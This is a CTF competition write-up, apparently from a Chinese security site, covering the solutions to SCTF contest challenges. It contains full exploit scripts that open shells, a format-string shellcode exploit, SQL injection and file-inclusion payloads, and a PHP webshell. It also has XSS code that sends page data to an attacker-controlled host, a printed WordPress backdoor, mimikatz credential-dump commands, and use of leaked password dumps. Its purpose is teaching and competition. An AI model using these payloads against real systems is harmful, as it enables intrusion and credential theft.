SCTF(三叶草CTF)作为XCTF联赛的成都分站赛,由三叶草安全技术小组负责组织。本次比赛采用线上解题形式,比赛冠军队伍直接入围XCTF联赛总决赛。
MISC部分
MISC10:
手持两把锟斤拷,口中疾呼烫烫烫
脚踏千朵屯屯屯,笑看万物锘锘锘。
程序员经典笑话不解释。
MISC100:
简单的贪吃蛇,吃到30分它就告诉你flag!但是要怎么控制它呢?IDA稍微看一下,发现是接受kill消息。Bash下做几个alias,W S A D,然后控制着玩儿就好了:
那串东西bash64解密就是flag。
MISC200:
A-Cup的妹子,你肯定看腻了。我们换一个C-cup。题目的做法没有改变,只是之前的题有另类解法,所以完善了题目。
tips:密钥即为文件名
一个图片,改成rar打开:
加密的,目测是伪加密,详见这篇文章:http://r4c00n.com/article/34/apk-zip.html。好压没办法修复,卸了装winrar修复然后改标志解压,mp3stego,前几天刚总结了一下某本书的隐写术:http://www.0x01f.com/blog/61。Decode就行了,密钥sctf:
找到端口和IP,一个游戏的端口。我不会玩,队友去搞了。据说是跟着一条细红线走过去就看到flag了。
MISC300:
内网攻击数据包分析
SMB包里找到hash和challange。
参考http://bbs.pediy.com/showthread.php?t=176189&highlight=SMB
下下来彩虹表,编译一个rcracki_mt出来,很快就跑出来前七位。
然后扔kali虚拟机里,秒破密码。
MISC400A:
这是捕获的黑客攻击数据包,LateRain用户的密码在此次攻击中泄露了,你能找到吗?
FLAG格式:SCTF{LateRain的明文密码},里面发现了一些HTTP包,都是菜刀的数据包。其中有一个返回包是下载了一个RAR
导出二进制内容,去掉头尾的菜刀添加的标志,写入一个文件,发现有密码。往前翻一下,这个请求的内容是打包,命令为:
cd /d "c:\inetpub\wwwroot\"&C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif -hpJJBoom&echo [S]&cd&echo [E]
解压出来,得到1.gif,是一个MDMP文件。
下到这个dump文件,然后上mimikatz64,两条命令:
sekurlsa::minidump 1.dmp sekurlsa::logonPasswords full
找到密码:
后面有几个空格,冲定位到txt里头复制出来就行了。
MISC400B:
别看妹子了,快做题。
Binwalk看一下:
root@kali:~/Desktop# binwalk 400b.PNG DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1000 x 562, 8-bit/color RGBA, non-interlaced 91 0x5B Zlib compressed data, compressed 3526 0xDC6 Zlib compressed data, best compression 1421307 0x15AFFB Zlib compressed data, default compression
后面是Zlib压缩的数据,写个脚本解压一下:
from PIL import Image from zlib import * data = open('400b.PNG','rb').read()[0x15AFFB:] data = decompress(data) img = Image.new('1', (25,25)) d = img.load() for n,i in enumerate(data): d[(n%25,n/25)] = int(i)*255 f = open('2.png','wb') img.save(f)
得到一个二维码,但是不能访问:
PS变相之后就可以了 微信扫一扫,SCTF{(121.518549,25.040854)}
RE50
听说逆向都挺难的,这里有个简单的,快来秒~~~ :D
确实非常简单,输入的每个字符+3 = 文件中的某个字符串字符 就可以了:
flag = 'Jr3gFud6n' temp = '' for i in flag: temp = temp+chr(ord(i)-3) print temp
PWN部分
Pwn200:
这里可以输入17个字符,刚好把len_0x10覆盖,如果输入’syclover’ + ‘\x00’ + ‘abcdefg’ + ‘\xFF’,就可以满足条件的同时覆盖len_0x10为255,之后的buffer也可以覆盖。
然后就栈溢出。
首先覆盖返回地址,让它跳转到调用write “input name”的地方,参数可以自己构造,这样就可以输出任意函数的got。随后将第二个返回值覆盖成system地址,参数构造成/bin/sh,然后就得到shell。
这里选择read,根据libc里头的偏移,可以算出read和system的相对偏移:
代码:
from socket import * from struct import * import time readOffset = 0x000de3a0 systOffset = 0x0003f430 param = '/bin/sh\x00' + 'ls home' + 'a'*5 s = socket(AF_INET, SOCK_STREAM) s.connect(('218.2.197.248', 10001)) name = 'syclover'+ '\x00' + 'abcdefg' + '\xFF' # input name: print s.recv(1024) s.send(name) showReadGot = 'A'*156 showReadGot += pack('<I', 0x08049860) showReadGot += pack('<I', 0x08048507) showReadGot += pack('<I', 1) showReadGot += pack('<I', 0x08049850) showReadGot += pack('<I', 4) # input slogan: print s.recv(1024) s.send(showReadGot) read = s.recv(1024)[-4:] syst = unpack('<I', read)[0] - readOffset + systOffset print 'system: %x' % syst exploit = param + pack('<I', syst) s.send(exploit) while True: s.send(raw_input('$ ') + '\n') time.sleep(0.5) print s.recv(1024)
Pwn300:
printf格式化漏洞。
随意构造栈,并且能覆盖任意地址。Message部分代码是可执行的,写入shellcode即可。
from socket import * from struct import * from time import sleep def doRecv(): buffer = '' while True: buffer += s.recv(1024) if 'input' in buffer: return buffer s = socket(AF_INET, SOCK_STREAM) s.connect(('218.2.197.248', 10002)) shellcode = "\x31\xc0\x50\x68\x2f\x61\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80" nop = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' exploit = pack('<I', 0x08049108)+'%134517131x'+'%8x'*5+'%n' + nop + shellcode + nop + '\n' print exploit welcome = doRecv() #print welcome s.send('2\n') welcome = doRecv() print welcome s.send(exploit) welcome = doRecv() print welcome s.send('3\n') welcome = doRecv() s.send('4\n') sleep(2) while True: s.send(raw_input('$ ') + '\n') time.sleep(0.5) print s.recv(2048)
Code200
迭代就可以了,奇数幂变成 奇数+1幂 - 奇数幂,重复的话就变成 奇数+1+1幂,然后又是同样的情况,最后肯定不可能重复,代码略长,懒得写到一个函数里了:
from socket import * from struct import * import string from time import sleep srv = socket(AF_INET, SOCK_STREAM) srv.connect(('218.2.197.248', 10007)) b = srv.recv(4) while True: print b b = string.atoi(b) v = {} c = {} for i in range(100): v[i] = 0 c[i] = 0 if b > 0: k = 0 s ='' while b > 0: if b % 2 == 1: c[k] = 1 v[k] = 1 k += 1 b /= 2 while True: out = True for i in range(100): if c[i] > 1: c[i+1] += 1 c[i] -= 2 if ((i+1) % 2 == 1) and (c[i+1] == 1): v[i+1] = 1 out = False if (c[i] == 0) and (v[i] == 1): v[i] = 0 if (i % 2 == 1) and (v[i] == 1): v[i] = 0 c[i+1] += 1 out = False if out: break for i in range(100): if c[i] == 1: s = str(i) + ' ' + s print s srv.send(s) b = srv.recv(1024) while len(b) == 0: sleep(0.1) b = srv.recv(1024) if len(b) > 10: print b break elif b < 0: b = -b k = 0 s = '' while b > 0: if b % 2 == 1: c[k] = 1 v[k] = 1 k += 1 b /= 2 while True: out = True for i in range(100): if c[i] > 1: c[i+1] += 1 c[i] -= 2 if ((i+1) % 2 == 0) and (c[i+1] == 1): v[i+1] = 1 out = False if (c[i] == 0) and (v[i] == 1): v[i] = 0 if (i % 2 == 0) and (v[i] == 1): v[i] = 0 c[i+1] += 1 out = False if out: break if out: break for i in range(100): if c[i] == 1: s = str(i) + ' ' + s print s srv.send(s) b = srv.recv(1024) while len(b) == 0: sleep(0.1) b = srv.recv(1024) if len(b) > 10: print b break
WEB部分
PT100
PT100题进不去了,中间过程没法截图了……
看到后台,第一反映就是
/admin/
401,发现是IIS6,试了一圈以后发现::$INDEX_ALLOCATION/index.php可以破。
进去以后是个登录窗口,id输入框被disable了,这简直就是在告诉你问题就出在这了……
最后Payload:
/admin::$INDEX_ALLOCATION/index.php?id=%27%7C0%23&password=admin
PT200:
进去之后先查看源代码,发现一个这个:
看一下输出在哪。
试了几个标签,svg,img,script啥的都过滤了,iframe没过滤,但是on被过滤了,data也被过滤了,利用不了,利用一个Chrome里才能用的姿势:
<link ref=import href=//xxx.me>
xxx.me里的index.php这样写:
<?php header('Access-Control-Allow-Origin: *'); ?> <script> alert(1) </script>
成功弹框。
用这个方法打到了后台地址。
http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/
但是直接访问是403,带上XFF头就变成了fuck you!,于是直接弹回来页面内容看一下。
弹回来的页面内容里发现了 flag.php?id= 这么一个链接,应该是要注入,直接访问跟之前一样,403或者fuck you!,于是通过XSS注入,把访问到的flag.php的内容弹回来。
自己的VPS上,index.php:
<?php header('Access-Control-Allow-Origin: *'); ?> <script> xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET","flag.php?id=<?php echo $_GET['p']; ?>", false); xmlhttp.send(); var rep = xmlhttp.responseText; <?php if ($_GET['u'] == 'f'){ echo 'xmlhttp.open("GET","http://xxx.me/1.php?a="+rep);';}?> <?php if ($_GET['u'] == 'd'){echo 'xmlhttp.open("GET","http://xxx.me/2.php?a="+rep);';} ?> xmlhttp.send(); </script>
u=f 和u=d分别是我和队友用,防止注入的时候互相干扰。
1.php:
<?php file_put_contents('/var/www/html/res.html', $_REQUEST)
2.php类似,写入另一个文件。
这个时候我们犯了一个错误,本来这样写是为了方便,提交的时候改一下href就可以了,不用改index.php里的代码,但是这样一来 on data这些字符串就被XSS的过滤器给替换成 _ 了。
常用的报错姿势都被拦截了,后来实在想不出来招了,手工盲注,连注带蒙,大概两个小时吧,拿到flag,一开始大小写还搞错了,浪费了很多次提交机会。
PT300:
先去看robots.txt
直接访问当然不可能直接出来flag= =……
队友从idc.sycsec.com找到了源代码,有三个版本,通过
/assets/js/jquery-1.4.4.min.js
文件判断应该是1.0.8或者1.0.9版本。
现在我们需要的应该是一个任意文件读取/下载或者本地文件包含。
看一下HTTP头,
PHP版本5.5.0,%00截断没戏了。
找include,找到这个文件:
/assets/snippets/ajaxSearch/ajaxSearchPopup.php: $config = parseUserConfig((strip_tags($_POST['ucfg']))); // Load the custom functions of the custom configuration file if needed if ($config) { $lconfig = (substr($config, 0, 6) != "@FILE:") ? AS_PATH . "configs/$config.config.php" : $modx->config['base_path'] . trim(substr($config, 6, strlen($config)-6)); if (file_exists($lconfig)) include $lconfig; else return "<h3>AjaxSearch error: " . $lconfig . " not found !<br />Check your config parameter or your config file name!</h3>"; }
这里可以包含任意文件不用截断,但是由于前面引用了全局常量, 在这个文件里没有定义,需要找到正确的入口文件。
/index-ajax.php。
if($axhandler = (strtoupper($_SERVER['REQUEST_METHOD'])=='GET') ? $_GET['q'] : $_POST['q']) { $axhandler = preg_replace('/[^A-Za-z0-9_\-\.\/]/', '', $axhandler); $axhandler = realpath($axhandler) or die(); $directory = realpath(MODX_BASE_PATH.DIRECTORY_SEPARATOR.'/assets/snippets'); $axhandler = realpath($directory.str_replace($directory, '', $axhandler)); if($axhandler && (strtolower(substr($axhandler,-4))=='.php')) { include_once($axhandler); exit; } }
最终payload:
URL: http://modx.sycsec.com/index-ajax.php
POST;
q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&search=flag&action=setsetting&key=site_name&value=b&ucfg=%26config%3D%60%40FILE%3Aflag%2Fflag.txt%60
PT400:
Idc.sycsec.com 注入,联合查询,搞到数据库,在bug提交的地方提交Union all select 出来XSSpayload的URL,得到后台地址,登录进去之后上传,没过滤后缀名,过滤<? ,利用
<script language="php">eval($_POST[c]);</script>
拿到shell.
得到wp的代码,跟原版的4.0.1diff一下,发现一个代码执行的后门,在/wp-includes/resivion.php.
function wp_check_my_session(){ if(isset($_COOKIE[wp-ssesion])) { $_check=($_COOKIE['wp-sesion'][0]^$_COOKIE['wp-sesion'][1]).($_COOKIE['wp-sesion'][1]^$_COOKIE['wp-sesion'][2]).($_COOKIE['wp-sesion'][3]^$_COOKIE['wp-sesion'][6]).($_COOKIE['wp-sesion'][3]^$_COOKIE['wp-sesion'][4]).($_COOKIE['wp-sesion'][2]^$_COOKIE['wp-sesion'][5]).($_COOKIE['wp-sesion'][5]^$_COOKIE['wp-sesion'][6]); $_check($_COOKIE['wp-ssesion']); } else{ return 0; }
这时候已经八点五十左右了,构造出来cookie之后还没来得及干什么时间就到了……
PT500:
CSDN裤子里查到了妹子SYC083的密码,在提交报告的地方注入得到了十几个用户,有两个能登录邮箱,发现VPN的地址和密码规律,遍历生日年份得到了SYC079的密码,访问文件服务器(10.24.13.37),卡了很久,也是快到时间的时候发现了/.svn/,没提前准备代理,手动脱没来得及脱多少就Game Over了……
[作者/hhx,本文属于FreeBuf.COM独家发布文章,未经许可禁止转载]